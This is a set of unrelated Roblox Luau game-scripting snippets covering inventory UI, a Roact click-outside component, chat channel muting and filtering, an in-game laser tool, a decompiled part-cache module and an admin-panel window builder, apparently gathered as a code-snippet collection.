gamepadHintsFrame.Visible = false
end
disableGamepadInventoryControl()
end
if InventoryFrame.Visible then
ContextActionService:BindAction("RBXRemoveSlot", removeHotBarSlot, false, Enum.KeyCode.ButtonX)
else
ContextActionService:UnbindAction("RBXRemoveSlot")
end
BackpackScript.IsOpen = InventoryFrame.Visible
BackpackScript.StateChanged:Fire(InventoryFrame.Visible)
end
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false)
BackpackScript.OpenClose = openClose -- Exposed
end
|
-- Gradually regenerates the Humanoid's Health over time. |
local REGEN_RATE = 10 / 100 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = 5 -- Wait this long between each regeneration step.
|
-- Value containing selected game mode |
local SelectedMode = script:WaitForChild("SelectedMode")
|
--[ Services ]: |
local RunSrv = game:GetService("RunService");
local Wrks = game:GetService("Workspace");
local Plrs = game:GetService("Players");
|
--[[
Renderless component used to detect when a user clicks/taps anywhere
outside of another component.
Users commonly expect that a modal will be hidden when clicking anywhere
outside of it, so this component allows you to set up that functionality.
Usage:
local FocusLostTest = Roact.Component:extend("FocusLostTest")
function FocusLostTest:init()
self.frame = Roact.createRef()
end
function FocusLostTest:render()
return Roact.createFragment({
Frame = Roact.createElement("Frame", {
Size = UDim2.fromOffset(100, 100),
[Roact.Ref] = self.frame,
}),
FocusLost = Roact.createElement(FocusLost, {
ref = self.frame,
callback = self.props.callback,
}),
})
end
]] |
local FocusLost = Roact.Component:extend("FocusLost")
local defaultProps = {
UserInputService = UserInputService,
}
export type Props = typeof(defaultProps) & {
ref: any, -- Roact ref
callback: () -> (),
}
FocusLost.defaultProps = defaultProps
function FocusLost:init()
self.wasRefClicked = function(input: InputObject)
local props: Props = self.props
local ref = props.ref:getValue()
if ref then
local playerGui: BasePlayerGui = ref:FindFirstAncestorWhichIsA("BasePlayerGui")
if playerGui then
for _, gui in ipairs(playerGui:GetGuiObjectsAtPosition(input.Position.X, input.Position.Y)) do
if gui == ref or gui:IsDescendantOf(ref) then
return true
end
end
end
end
return false
end
self.handleFocusLost = function(input: InputObject)
local props: Props = self.props
if
input.UserInputType == Enum.UserInputType.MouseButton1
or input.UserInputType == Enum.UserInputType.Touch
then
if not self.wasRefClicked(input) then
props.callback()
end
end
end
end
function FocusLost:render()
local props: Props = self.props
return Roact.createFragment({
InputEnded = Roact.createElement(ExternalEventConnection, {
callback = self.handleFocusLost,
event = props.UserInputService.InputEnded,
}),
TouchTap = Roact.createElement(ExternalEventConnection, {
callback = self.handleFocusLost,
event = props.UserInputService.TouchTap,
}),
})
end
return FocusLost
|
--////////////////////////////// Methods
--////////////////////////////////////// |
local methods = {}
methods.__index = methods
function methods:SendSystemMessage(message, extraData)
local messageObj = self:InternalCreateMessageObject(message, nil, true, extraData)
local success, err = pcall(function() self.eMessagePosted:Fire(messageObj) end)
if not success and err then
print("Error posting message: " ..err)
end
self:InternalAddMessageToHistoryLog(messageObj)
for i, speaker in pairs(self.Speakers) do
speaker:InternalSendSystemMessage(messageObj, self.Name)
end
return messageObj
end
function methods:SendSystemMessageToSpeaker(message, speakerName, extraData)
local speaker = self.Speakers[speakerName]
if (speaker) then
local messageObj = self:InternalCreateMessageObject(message, nil, true, extraData)
speaker:InternalSendSystemMessage(messageObj, self.Name)
else
warn(string.format("Speaker '%s' is not in channel '%s' and cannot be sent a system message", speakerName, self.Name))
end
end
function methods:SendMessageObjToFilters(message, messageObj, fromSpeaker)
local oldMessage = messageObj.Message
messageObj.Message = message
self:InternalDoMessageFilter(fromSpeaker.Name, messageObj, self.Name)
self.ChatService:InternalDoMessageFilter(fromSpeaker.Name, messageObj, self.Name)
local newMessage = messageObj.Message
messageObj.Message = oldMessage
return newMessage
end
function methods:CanCommunicateByUserId(userId1, userId2)
if RunService:IsStudio() then
return true
end
-- UserId is set as 0 for non player speakers.
if userId1 == 0 or userId2 == 0 then
return true
end
local success, canCommunicate = pcall(function()
return Chat:CanUsersChatAsync(userId1, userId2)
end)
return success and canCommunicate
end
function methods:CanCommunicate(speakerObj1, speakerObj2)
local player1 = speakerObj1:GetPlayer()
local player2 = speakerObj2:GetPlayer()
if player1 and player2 then
return self:CanCommunicateByUserId(player1.UserId, player2.UserId)
end
return true
end
function methods:SendMessageToSpeaker(message, speakerName, fromSpeakerName, extraData)
local speakerTo = self.Speakers[speakerName]
local speakerFrom = self.ChatService:GetSpeaker(fromSpeakerName)
if speakerTo and speakerFrom then
local isMuted = speakerTo:IsSpeakerMuted(fromSpeakerName)
if isMuted then
return
end
if not self:CanCommunicate(speakerTo, speakerFrom) then
return
end
-- We need to claim the message is filtered even if it not in this case for compatibility with legacy client side code.
local isFiltered = speakerName == fromSpeakerName
local messageObj = self:InternalCreateMessageObject(message, fromSpeakerName, isFiltered, extraData)
message = self:SendMessageObjToFilters(message, messageObj, fromSpeakerName)
speakerTo:InternalSendMessage(messageObj, self.Name)
local filteredMessage = self.ChatService:InternalApplyRobloxFilter(messageObj.FromSpeaker, message, speakerName)
if filteredMessage then
messageObj.Message = filteredMessage
messageObj.IsFiltered = true
speakerTo:InternalSendFilteredMessage(messageObj, self.Name)
end
else
warn(string.format("Speaker '%s' is not in channel '%s' and cannot be sent a message", speakerName, self.Name))
end
end
function methods:KickSpeaker(speakerName, reason)
local speaker = self.ChatService:GetSpeaker(speakerName)
if (not speaker) then
error("Speaker \"" .. speakerName .. "\" does not exist!")
end
local messageToSpeaker = ""
local messageToChannel = ""
if (reason) then
messageToSpeaker = string.format("You were kicked from '%s' for the following reason(s): %s", self.Name, reason)
messageToChannel = string.format("%s was kicked for the following reason(s): %s", speakerName, reason)
else
messageToSpeaker = string.format("You were kicked from '%s'", self.Name)
messageToChannel = string.format("%s was kicked", speakerName)
end
self:SendSystemMessageToSpeaker(messageToSpeaker, speakerName)
speaker:LeaveChannel(self.Name)
self:SendSystemMessage(messageToChannel)
end
function methods:MuteSpeaker(speakerName, reason, length)
local speaker = self.ChatService:GetSpeaker(speakerName)
if (not speaker) then
error("Speaker \"" .. speakerName .. "\" does not exist!")
end
self.Mutes[speakerName:lower()] = (length == 0 or length == nil) and 0 or (os.time() + length)
if (reason) then
self:SendSystemMessage(string.format("%s was muted for the following reason(s): %s", speakerName, reason))
end
local success, err = pcall(function() self.eSpeakerMuted:Fire(speakerName, reason, length) end)
if not success and err then
print("Error mutting speaker: " ..err)
end
local spkr = self.ChatService:GetSpeaker(speakerName)
if (spkr) then
local success, err = pcall(function() spkr.eMuted:Fire(self.Name, reason, length) end)
if not success and err then
print("Error mutting speaker: " ..err)
end
end
end
function methods:UnmuteSpeaker(speakerName)
local speaker = self.ChatService:GetSpeaker(speakerName)
if (not speaker) then
error("Speaker \"" .. speakerName .. "\" does not exist!")
end
self.Mutes[speakerName:lower()] = nil
local success, err = pcall(function() self.eSpeakerUnmuted:Fire(speakerName) end)
if not success and err then
print("Error unmuting speaker: " ..err)
end
local spkr = self.ChatService:GetSpeaker(speakerName)
if (spkr) then
local success, err = pcall(function() spkr.eUnmuted:Fire(self.Name) end)
if not success and err then
print("Error unmuting speaker: " ..err)
end
end
end
function methods:IsSpeakerMuted(speakerName)
return (self.Mutes[speakerName:lower()] ~= nil)
end
function methods:GetSpeakerList()
local list = {}
for i, speaker in pairs(self.Speakers) do
table.insert(list, speaker.Name)
end
return list
end
function methods:RegisterFilterMessageFunction(funcId, func, priority)
if self.FilterMessageFunctions:HasFunction(funcId) then
error(string.format("FilterMessageFunction '%s' already exists", funcId))
end
self.FilterMessageFunctions:AddFunction(funcId, func, priority)
end
function methods:FilterMessageFunctionExists(funcId)
return self.FilterMessageFunctions:HasFunction(funcId)
end
function methods:UnregisterFilterMessageFunction(funcId)
if not self.FilterMessageFunctions:HasFunction(funcId) then
error(string.format("FilterMessageFunction '%s' does not exists", funcId))
end
self.FilterMessageFunctions:RemoveFunction(funcId)
end
function methods:RegisterProcessCommandsFunction(funcId, func, priority)
if self.ProcessCommandsFunctions:HasFunction(funcId) then
error(string.format("ProcessCommandsFunction '%s' already exists", funcId))
end
self.ProcessCommandsFunctions:AddFunction(funcId, func, priority)
end
function methods:ProcessCommandsFunctionExists(funcId)
return self.ProcessCommandsFunctions:HasFunction(funcId)
end
function methods:UnregisterProcessCommandsFunction(funcId)
if not self.ProcessCommandsFunctions:HasFunction(funcId) then
error(string.format("ProcessCommandsFunction '%s' does not exist", funcId))
end
self.ProcessCommandsFunctions:RemoveFunction(funcId)
end
local function DeepCopy(table)
local copy = {}
for i, v in pairs(table) do
if (type(v) == table) then
copy[i] = DeepCopy(v)
else
copy[i] = v
end
end
return copy
end
function methods:GetHistoryLog()
return DeepCopy(self.ChatHistory)
end
function methods:GetHistoryLogForSpeaker(speaker)
local userId = -1
local player = speaker:GetPlayer()
if player then
userId = player.UserId
end
local chatlog = {}
for i = 1, #self.ChatHistory do
local logUserId = self.ChatHistory[i].SpeakerUserId
if self:CanCommunicateByUserId(userId, logUserId) then
table.insert(chatlog, DeepCopy(self.ChatHistory[i]))
end
end
return chatlog
end
|
--[=[
Calls [Janitor.Cleanup](#Cleanup) and renders the Janitor unusable.
:::warning
Running this will make any attempts to call a function of Janitor error.
:::
]=] |
function Janitor:Destroy()
self:Cleanup()
table.clear(self)
setmetatable(self, nil)
end
Janitor.__call = Janitor.Cleanup
|
--Rescripted by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
Speed = 100
Duration = 9999999
NozzleOffset = Vector3.new(0, 0.4, -1.1)
Sounds = {
Fire = Handle:WaitForChild("Fire"),
Reload = Handle:WaitForChild("Reload"),
HitFade = Handle:WaitForChild("HitFade")
}
PointLight = Handle:WaitForChild("PointLight")
ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Tool
ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool
ServerControl.OnServerInvoke = (function(player, Mode, Value, arg)
if player ~= Player or Humanoid.Health == 0 or not Tool.Enabled then
return
end
if Mode == "Click" and Value then
Activated(arg)
end
end)
function InvokeClient(Mode, Value)
pcall(function()
ClientControl:InvokeClient(Player, Mode, Value)
end)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function FindCharacterAncestor(Parent)
if Parent and Parent ~= game:GetService("Workspace") then
local humanoid = Parent:FindFirstChild("Humanoid")
if humanoid then
return Parent, humanoid
else
return FindCharacterAncestor(Parent.Parent)
end
end
return nil
end
function GetTransparentsRecursive(Parent, PartsTable)
local PartsTable = (PartsTable or {})
for i, v in pairs(Parent:GetChildren()) do
local TransparencyExists = false
pcall(function()
local Transparency = v["Transparency"]
if Transparency then
TransparencyExists = true
end
end)
if TransparencyExists then
table.insert(PartsTable, v)
end
GetTransparentsRecursive(v, PartsTable)
end
return PartsTable
end
function SelectionBoxify(Object)
local SelectionBox = Instance.new("SelectionBox")
SelectionBox.Adornee = Object
SelectionBox.Color = BrickColor.new("Toothpaste")
SelectionBox.Parent = Object
return SelectionBox
end
local function Light(Object)
local Light = PointLight:Clone()
Light.Range = (Light.Range + 2)
Light.Parent = Object
end
function FadeOutObjects(Objects, FadeIncrement)
repeat
local LastObject = nil
for i, v in pairs(Objects) do
v.Transparency = (v.Transparency + FadeIncrement)
LastObject = v
end
wait()
until LastObject.Transparency >= 1 or not LastObject
end
function Dematerialize(character, humanoid, FirstPart)
if not character or not humanoid then
return
end
humanoid.WalkSpeed = 0
local Parts = {}
for i, v in pairs(character:GetChildren()) do
if v:IsA("BasePart") then
v.Anchored = true
table.insert(Parts, v)
elseif v:IsA("LocalScript") or v:IsA("Script") then
v:Destroy()
end
end
local SelectionBoxes = {}
local FirstSelectionBox = SelectionBoxify(FirstPart)
Light(FirstPart)
wait(0)
for i, v in pairs(Parts) do
if v ~= FirstPart then
table.insert(SelectionBoxes, SelectionBoxify(v))
Light(v)
end
end
local ObjectsWithTransparency = GetTransparentsRecursive(character)
FadeOutObjects(ObjectsWithTransparency, 0.1)
wait(0.5)
character:BreakJoints()
humanoid.Health = 0
Debris:AddItem(character, 2)
local FadeIncrement = 0.05
Delay(0.2, function()
FadeOutObjects({FirstSelectionBox}, FadeIncrement)
if character and character.Parent then
character:Destroy()
end
end)
FadeOutObjects(SelectionBoxes, FadeIncrement)
end
function Touched(Projectile, Hit)
if not Hit or not Hit.Parent then
return
end
local character, humanoid = FindCharacterAncestor(Hit)
if character and humanoid and character ~= Character then
local ForceFieldExists = false
for i, v in pairs(character:GetChildren()) do
if v:IsA("ForceField") then
ForceFieldExists = true
end
end
if not ForceFieldExists then
if Projectile then
local HitFadeSound = Projectile:FindFirstChild(Sounds.HitFade.Name)
local torso = humanoid.Torso
if HitFadeSound and torso then
HitFadeSound.Parent = torso
HitFadeSound:Play()
end
end
Dematerialize(character, humanoid, Hit)
end
if Projectile and Projectile.Parent then
Projectile:Destroy()
end
end
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
if not Player or not Humanoid or Humanoid.Health == 0 then
return
end
end
function Activated(target)
if Tool.Enabled and Humanoid.Health > 0 then
Tool.Enabled = false
InvokeClient("PlaySound", Sounds.Fire)
local HandleCFrame = Handle.CFrame
local FiringPoint = HandleCFrame.p + HandleCFrame:vectorToWorldSpace(NozzleOffset)
local ShotCFrame = CFrame.new(FiringPoint, target)
local LaserShotClone = BaseShot:Clone()
LaserShotClone.CFrame = ShotCFrame + (ShotCFrame.lookVector * (BaseShot.Size.Z / 2))
local BodyVelocity = Instance.new("BodyVelocity")
BodyVelocity.velocity = ShotCFrame.lookVector * Speed
BodyVelocity.Parent = LaserShotClone
LaserShotClone.Touched:connect(function(Hit)
if not Hit or not Hit.Parent then
return
end
Touched(LaserShotClone, Hit)
end)
Debris:AddItem(LaserShotClone, Duration)
LaserShotClone.Parent = game:GetService("Workspace")
wait(0) -- FireSound length
InvokeClient("PlaySound", Sounds.Reload)
wait(0) -- ReloadSound length
Tool.Enabled = true
end
end
function Unequipped()
end
BaseShot = Instance.new("Part")
BaseShot.Name = "Effect"
BaseShot.BrickColor = BrickColor.new("Toothpaste")
BaseShot.Material = Enum.Material.Plastic
BaseShot.Shape = Enum.PartType.Block
BaseShot.TopSurface = Enum.SurfaceType.Smooth
BaseShot.BottomSurface = Enum.SurfaceType.Smooth
BaseShot.FormFactor = Enum.FormFactor.Custom
BaseShot.Size = Vector3.new(0.2, 0.2, 3)
BaseShot.CanCollide = false
BaseShot.Locked = true
SelectionBoxify(BaseShot)
Light(BaseShot)
BaseShotSound = Sounds.HitFade:Clone()
BaseShotSound.Parent = BaseShot
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = {};
v1.__index = v1;
v1.__type = "PartCache";
local u1 = CFrame.new(0, 1000000000, 0);
local u2 = require(script:WaitForChild("Table"));
function v1.new(p1, p2, p3)
assert(p2 > 0, "PrecreatedParts can not be negative!");
if p2 ~= 0 == false then
warn("PrecreatedParts is 0! This may have adverse effects when initially using the cache.");
end;
if p1.Archivable == false then
warn("The template's Archivable property has been set to false, which prevents it from being cloned. It will temporarily be set to true.");
end;
p1.Archivable = true;
p1.Archivable = p1.Archivable;
p1 = p1:Clone();
local v2 = {
Open = {},
InUse = {},
CurrentCacheParent = p3 or workspace,
Template = p1,
ExpansionSize = 10
};
setmetatable(v2, v1);
for v3 = 1, p2 and 5 do
local v4 = p1:Clone();
v4.CFrame = u1;
v4.Anchored = true;
v4.Parent = v2.CurrentCacheParent;
u2.insert(v2.Open, v4);
end;
v2.Template.Parent = nil;
return v2;
end;
function v1.GetPart(p4)
assert(getmetatable(p4) == v1, ("Cannot statically invoke method '%s' - It is an instance method. Call it on an instance of this class created via %s"):format("GetPart", "PartCache.new"));
if #p4.Open == 0 then
for v5 = 1, p4.ExpansionSize do
local v6 = p4.Template:Clone();
v6.CFrame = u1;
v6.Anchored = true;
v6.Parent = p4.CurrentCacheParent;
u2.insert(p4.Open, v6);
end;
end;
local v7 = p4.Open[#p4.Open];
p4.Open[#p4.Open] = nil;
u2.insert(p4.InUse, v7);
return v7;
end;
function v1.ReturnPart(p5, p6)
assert(getmetatable(p5) == v1, ("Cannot statically invoke method '%s' - It is an instance method. Call it on an instance of this class created via %s"):format("ReturnPart", "PartCache.new"));
local v8 = u2.indexOf(p5.InUse, p6);
if v8 == nil then
return;
end;
u2.remove(p5.InUse, v8);
u2.insert(p5.Open, p6);
p6.CFrame = u1;
p6.Anchored = true;
end;
function v1.SetCacheParent(p7, p8)
assert(getmetatable(p7) == v1, ("Cannot statically invoke method '%s' - It is an instance method. Call it on an instance of this class created via %s"):format("SetCacheParent", "PartCache.new"));
assert(p8:IsDescendantOf(workspace) or p8 == workspace, "Cache parent is not a descendant of Workspace! Parts should be kept where they will remain in the visible world.");
p7.CurrentCacheParent = p8;
for v9 = 1, #p7.Open do
p7.Open[v9].Parent = p8;
end;
for v10 = 1, #p7.InUse do
p7.InUse[v10].Parent = p8;
end;
end;
function v1.Expand(p9, p10)
assert(getmetatable(p9) == v1, ("Cannot statically invoke method '%s' - It is an instance method. Call it on an instance of this class created via %s"):format("Expand", "PartCache.new"));
if p10 == nil then
p10 = p9.ExpansionSize;
end;
for v11 = 1, p10 do
local v12 = p9.Template:Clone();
v12.CFrame = u1;
v12.Anchored = true;
v12.Parent = p9.CurrentCacheParent;
u2.insert(p9.Open, v12);
end;
end;
function v1.Dispose(p11)
assert(getmetatable(p11) == v1, ("Cannot statically invoke method '%s' - It is an instance method. Call it on an instance of this class created via %s"):format("Dispose", "PartCache.new"));
for v13 = 1, #p11.Open do
p11.Open[v13]:Destroy();
end;
for v14 = 1, #p11.InUse do
p11.InUse[v14]:Destroy();
end;
p11.Template:Destroy();
p11.Open = {};
p11.InUse = {};
p11.CurrentCacheParent = nil;
p11.GetPart = nil;
p11.ReturnPart = nil;
p11.SetCacheParent = nil;
p11.Expand = nil;
p11.Dispose = nil;
end;
return v1;
|
--Put this inside of 'ServerScriptService'.
--Workspace works as well, but I'd recommend the above. | |
--// All global vars will be wiped/replaced except script |
return function(data, env)
if env then
setfenv(1, env)
end
--local client = service.GarbleTable(client)
local Player = service.Players.LocalPlayer
local Mouse = Player:GetMouse()
local InputService = service.UserInputService
local gIndex = data.gIndex
local gTable = data.gTable
local Event = gTable.BindEvent
local GUI = gTable.Object
local Name = data.Name
local Icon = data.Icon
local Size = data.Size
local Menu = data.Menu
local Title = data.Title
local Ready = data.Ready
local Walls = data.Walls
local noHide = data.NoHide
local noClose = data.NoClose
local onReady = data.OnReady
local onClose = data.OnClose
local onResize = data.OnResize
local onRefresh = data.OnRefresh
local onMinimize = data.OnMinimize
local ContextMenu = data.ContextMenu
local ResetOnSpawn = data.ResetOnSpawn
local CanKeepAlive = data.CanKeepAlive
local iconClicked = data.IconClicked
local SizeLocked = data.SizeLocked or data.SizeLock
local CanvasSize = data.CanvasSize
local Position = data.Position
local Content = data.Content or data.Children
local MinSize = data.MinSize or {150, 50}
local MaxSize = data.MaxSize or {math.huge, math.huge}
local curIcon = Mouse.Icon
local isClosed = false
local Resizing = false
local Refreshing = false
local DragEnabled = true
local checkProperty = service.CheckProperty
local specialInsts = {}
local inExpandable
local addTitleButton
local LoadChildren
local BringToFront
local functionify
local Drag = GUI.Drag
local Close = Drag.Close
local Hide = Drag.Hide
local Iconf = Drag.Icon
local Titlef = Drag.Title
local Refresh = Drag.Refresh
local rSpinner = Refresh.Spinner
local Main = Drag.Main
local Tooltip = GUI.Desc
local ScrollFrame = GUI.Drag.Main.ScrollingFrame
local LeftSizeIcon = Main.LeftResizeIcon
local RightSizeIcon = Main.RightResizeIcon
local RightCorner = Main.RightCorner
local LeftCorner = Main.LeftCorner
local RightSide = Main.RightSide
local LeftSide = Main.LeftSide
local TopRight = Main.TopRight
local TopLeft = Main.TopLeft
local Bottom = Main.Bottom
local Top = Main.Top
function Expand(ent, point, text)
local label = point:FindFirstChild("Label")
if label then
ent.MouseLeave:Connect(function(x,y)
if inExpandable == ent then
point.Visible = false
end
end)
ent.MouseMoved:Connect(function(x,y)
inExpandable = ent
label.Text = text or ent.Desc.Value
--point.Size = UDim2.new(0, 10000, 0, 10000)
local newx = 500
local bounds = service.TextService:GetTextSize(text or ent.Desc.Value, label.TextSize, label.Font, Vector2.new(1000,1000)).X-- point.Label.TextBounds.X
local rows = math.floor(bounds/500)
rows = rows+1
if rows<1 then rows = 1 end
if bounds<500 then newx = bounds end
point.Size = UDim2.new(0, newx+10, 0, (rows*20)+10)
point.Position = UDim2.new(0, x+6, 0, y-40-((rows*20)+10))
point.Visible = true
end)
end
end
function getNextPos(frame)
local farXChild, farYChild
for i,v in next,frame:GetChildren() do
if checkProperty(v, "Size") then
if not farXChild or (v.AbsolutePosition.X + v.AbsoluteSize.X) > (farXChild.AbsolutePosition.X + farXChild.AbsoluteSize.X) then
farXChild = v
end
if not farYChild or (v.AbsolutePosition.Y + v.AbsoluteSize.Y) > (farXChild.AbsolutePosition.Y + farXChild.AbsoluteSize.Y) then
farYChild = v
end
end
end
return ((not farXChild or not farYChild) and UDim2.new(0,0,0,0)) or UDim2.new(farXChild.Position.X.Scale, farXChild.Position.X.Offset + farXChild.AbsoluteSize.X, farYChild.Position.Y.Scale, farYChild.Position.Y.Offset + farYChild.AbsoluteSize.Y)
end
function LoadChildren(Obj, Children)
if Children then
local runWhenDone = Children.RunWhenDone and functionify(Children.RunWhenDone, Obj)
for class,data in next,Children do
if type(data) == "table" then
if not data.Parent then data.Parent = Obj end
create(data.Class or data.ClassName or class, data)
elseif type(data) == "function" or type(data) == "string" and not runWhenDone then
runWhenDone = functionify(data, Obj)
end
end
if runWhenDone then
runWhenDone(Obj)
end
end
end
function BringToFront()
for i,v in ipairs(Player.PlayerGui:GetChildren()) do
if v:FindFirstChild("__ADONIS_WINDOW") then
v.DisplayOrder = 100
end
end
GUI.DisplayOrder = 101
end
function addTitleButton(data)
local startPos = 1
local realPos
local new
local original = Hide
if Hide.Visible then
startPos = startPos+1
end
if Close.Visible then
startPos = startPos+1
end
if Refresh.Visible then
startPos = startPos+1
end
realPos = UDim2.new(1, -(((30*startPos)+5)+(startPos-1)), 0, 0)
data.Position = data.Position or realPos
data.Size = data.Size or original.Size
data.BackgroundColor3 = data.BackgroundColor3 or original.BackgroundColor3
data.BackgroundTransparency = data.BackgroundTransparency or original.BackgroundTransparency
data.BorderSizePixel = data.BorderSizePixel or original.BorderSizePixel
data.ZIndex = data.ZIndex or original.ZIndex
data.TextColor3 = data.TextColor3 or original.TextColor3
data.TextScaled = data.TextScaled or original.TextScaled
data.TextStrokeColor3 = data.TextStrokeColor3 or original.TextStrokeColor3
data.TextSize = data.TextSize or original.TextSize
data.TextTransparency = data.TextTransparency or original.TextTransparency
data.TextStrokeTransparency = data.TextStrokeTransparency or original.TextStrokeTransparency
data.TextScaled = data.TextScaled or original.TextScaled
data.TextWrapped = data.TextWrapped or original.TextWrapped
--data.TextXAlignment = data.TextXAlignment or original.TextXAlignment
--data.TextYAlignment = data.TextYAlignment or original.TextYAlignment
data.Font = data.Font or original.Font
data.Parent = Drag
return create("TextButton", data)
end
function functionify(func, object)
if type(func) == "string" then
if object then
local env = GetEnv()
env.Object = object
return client.Core.LoadCode(func, env)
else
return client.Core.LoadCode(func)
end
else
return func
end
end
function create(class, dataFound, existing)
local data = dataFound or {}
local class = data.Class or data.ClassName or class
local new = existing or (specialInsts[class] and specialInsts[class]:Clone()) or service.New(class)
local parent = data.Parent or new.Parent
if dataFound then
data.Parent = nil
if data.Class or data.ClassName then
data.Class = nil
data.ClassName = nil
end
if not data.BorderColor3 and checkProperty(new,"BorderColor3") then
new.BorderColor3 = dBorder
end
if not data.CanvasSize and checkProperty(new,"CanvasSize") then
new.CanvasSize = dCanvasSize
end
if not data.BorderSizePixel and checkProperty(new,"BorderSizePixel") then
new.BorderSizePixel = dPixelSize
end
if not data.BackgroundColor3 and checkProperty(new,"BackgroundColor3") then
new.BackgroundColor3 = dBackground
end
if not data.PlaceholderColor3 and checkProperty(new,"PlaceholderColor3") then
new.PlaceholderColor3 = dPlaceholderColor
end
if not data.Transparency and not data.BackgroundTransparency and checkProperty(new,"Transparency") then
new.BackgroundTransparency = dTransparency
elseif data.Transparency then
new.BackgroundTransparency = data.Transparency
end
if not data.TextColor3 and not data.TextColor and checkProperty(new,"TextColor3") then
new.TextColor3 = dTextColor
elseif data.TextColor then
new.TextColor3 = data.TextColor
end
if not data.Font and checkProperty(new, "Font") then
data.Font = dFont
end
if not data.TextSize and checkProperty(new, "TextSize") then
data.TextSize = dTextSize
end
if not data.BottomImage and not data.MidImage and not data.TopImage and class == "ScrollingFrame" then
new.BottomImage = dScrollImage
new.MidImage = dScrollImage
new.TopImage = dScrollImage
end
if not data.Size and checkProperty(new,"Size") then
new.Size = dSize
end
if not data.Position and checkProperty(new,"Position") then
new.Position = dPosition
end
if not data.ZIndex and checkProperty(new,"ZIndex") then
new.ZIndex = dZIndex
if parent and checkProperty(parent, "ZIndex") then
new.ZIndex = parent.ZIndex
end
end
if data.TextChanged and class == "TextBox" then
local textChanged = functionify(data.TextChanged, new)
new.FocusLost:Connect(function(enterPressed)
textChanged(new.Text, enterPressed, new)
end)
end
if (data.OnClicked or data.OnClick) and (class == "TextButton" or class == "ImageButton") then
local debounce = false;
local doDebounce = data.Debounce;
local onClick = functionify((data.OnClicked or data.OnClick), new)
new.MouseButton1Down:Connect(function()
if not debounce then
if doDebounce then
debounce = true
end
onClick(new);
debounce = false;
end
end)
end
if data.Events then
for event,func in pairs(data.Events) do
local realFunc = functionify(func, new)
Event(new[event], function(...)
realFunc(...)
end)
end
end
if data.Visible == nil then
data.Visible = true
end
if data.LabelProps then
data.LabelProperties = data.LabelProps
end
end
if class == "Entry" then
local label = new.Text
local dots = new.Dots
local desc = new.Desc
label.ZIndex = data.ZIndex or new.ZIndex
dots.ZIndex = data.ZIndex or new.ZIndex
if data.Text then
new.Text.Text = data.Text
new.Text.Visible = true
data.Text = nil
end
if data.Desc or data.ToolTip then
new.Desc.Value = data.Desc or data.ToolTip
data.Desc = nil
end
Expand(new, Tooltip)
else
if data.ToolTip then
Expand(new, Tooltip, data.ToolTip)
end
end
if class == "ButtonEntry" then
local button = new.Button
local debounce = false
local onClicked = functionify(data.OnClicked, button)
new:SetSpecial("DoClick",function()
if not debounce then
debounce = true
if onClicked then
onClicked(button)
end
debounce = false
end
end)
new.Text = data.Text or new.Text
button.ZIndex = data.ZIndex or new.ZIndex
button.MouseButton1Down:Connect(new.DoClick)
end
if class == "Boolean" then
local enabled = data.Enabled
local debounce = false
local onToggle = functionify(data.OnToggle, new)
local function toggle(isEnabled)
if not debounce then
debounce = true
if (isEnabled ~= nil and isEnabled) or (isEnabled == nil and enabled) then
enabled = false
new.Text = "Disabled"
elseif (isEnabled ~= nil and isEnabled == false) or (isEnabled == nil and not enabled) then
enabled = true
new.Text = "Enabled"
end
if onToggle then
onToggle(enabled, new)
end
debounce = false
end
end
--new.ZIndex = data.ZIndex
new.Text = (enabled and "Enabled") or "Disabled"
new.MouseButton1Down:Connect(function()
if onToggle then
toggle()
end
end)
new:SetSpecial("Toggle",function(ignore, isEnabled) toggle(isEnabled) end)
end
if class == "StringEntry" then
local box = new.Box
local ignore
new.Text = data.Text or new.Text
box.ZIndex = data.ZIndex or new.ZIndex
if data.BoxText then
box.Text = data.BoxText
end
if data.BoxProperties then
for i,v in next,data.BoxProperties do
if checkProperty(box, i) then
box[i] = v
end
end
end
if data.TextChanged then
local textChanged = functionify(data.TextChanged, box)
box.Changed:Connect(function(p)
if p == "Text" and not ignore then
textChanged(box.Text)
end
end)
box.FocusLost:Connect(function(enter)
local change = textChanged(box.Text, true, enter)
if change then
ignore = true
box.Text = change
ignore = false
end
end)
end
new:SetSpecial("SetValue",function(ignore, newValue) box.Text = newValue end)
end
if class == "Slider" then
local mouseIsIn = false
local posValue = new.Percentage
local slider = new.Slider
local bar = new.SliderBar
local drag = new.Drag
local moving = false
local value = 0
local onSlide = functionify(data.OnSlide, new)
bar.ZIndex = data.ZIndex or new.ZIndex
slider.ZIndex = bar.ZIndex+1
drag.ZIndex = slider.ZIndex+1
drag.Active = true
if data.Value then
slider.Position = UDim2.new(0.5, -10, 0.5, -10)
drag.Position = slider.Position
end
bar.InputBegan:Connect(function(input)
if not moving and input.UserInputType == Enum.UserInputType.MouseButton1 then
value = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X)
if value < 0 then
value = 0
elseif value > 1 then
value = 1
end
slider.Position = UDim2.new(value, -10, 0.5, -10)
drag.Position = slider.Position
posValue.Value = value
if onSlide then
onSlide(value)
end
end
end)
drag.DragBegin:Connect(function()
moving = true
end)
drag.DragStopped:Connect(function()
moving = false
drag.Position = slider.Position
end)
drag.Changed:Connect(function()
if moving then
value = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X)
if value < 0 then
value = 0
elseif value > 1 then
value = 1
end
slider.Position = UDim2.new(value, -10, 0.5, -10)
posValue.Value = value
if onSlide then
onSlide(value)
end
end
end)
new:SetSpecial("SetValue",function(ignore, newValue)
if newValue and tonumber(newValue) then
value = tonumber(newValue)
